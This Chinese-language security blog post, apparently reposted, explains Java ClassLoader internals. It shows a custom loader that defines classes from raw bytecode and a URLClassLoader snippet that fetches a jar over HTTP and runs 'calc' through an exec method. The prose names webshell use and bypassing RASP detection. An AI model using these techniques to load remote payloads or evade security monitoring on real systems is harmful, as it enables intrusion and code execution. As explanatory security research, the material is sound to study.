实际上就是ClassLoader将会调用loadclass来尝试加载类,首先将会在jvm中尝试加载我们想要加载的类,如果jvm中没有的话,将调用自身的findclass,此时要是findclass重写了,并且传入了我们想要加载的类的字节码,那么应该调用defineclass在jvm中加载该类,最后返回java.lang.class类对象。
那么既然类加载器java.lang.ClassLoader
是所有的类加载器的父类,我们可以来定义其子类从而实现加载任意字节码,当然加载恶意class也是可以的
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Method; public class class_loader extends ClassLoader { private static String testClassName = "TestHelloWorld"; private static byte[] testClassBytes = new byte[]{}; { try{ File fileName = new File("H:\\TestHelloWorld.class"); FileInputStream in = new FileInputStream(fileName); ByteArrayOutputStream byt = new ByteArrayOutputStream(); int b = -1; byte[] zi = new byte[1024]; while ((b = in.read(zi)) != -1) { byt.write(zi, 0, b); } byte[] class_byte = byt.toByteArray(); testClassBytes = class_byte; } catch (Exception e){ } } @Override public Class<?> findClass(String name) throws ClassNotFoundException{ if(name.equals(testClassName)){ return defineClass(testClassName,testClassBytes,0,testClassBytes.length); } return super.findClass(name); } public static void main(String[] args){ class_loader loader = new class_loader(); try { Class testClass = loader.loadClass(testClassName); Object testInstance = testClass.newInstance(); Method method = testInstance.getClass().getMethod("hello"); String str = (String) method.invoke(testInstance); System.out.println(str); }catch (Exception e){ } } }
以上代码中字节码肯定是一个恶意类,那么只要编译得到class文件即可,我们直接将其读到byte数组中,然后再通过定义的findclass中return defineclass来通过我们的字节码生成类。
TestHelloWorld.java如下所示
public class TestHelloWorld { public String hello(){ return "tr1ple 2333"; } }
利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测
URLClassLoader也是ClassLoader的子类,那么URLClassloader可以用来加载远程资源,我们可以使用他来加载远程jar文件,或实现远程的类方法调用。
import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.net.URL; import java.net.URLClassLoader; public class TestURLClassLoader { public static void main(String[] args){ try { URL url = new URL("http://127.0.0.1:9000/cmd.jar"); URLClassLoader ucl = new URLClassLoader(new URL[]{url}); String cmd = "calc"; Class cmdClass = ucl.loadClass("cmd"); Process process = (Process) cmdClass.getMethod("exec",String.class).invoke(null,cmd); } catch (Exception e){ } } }
原文:https://www.cnblogs.com/wfzWebSecuity/p/12121293.html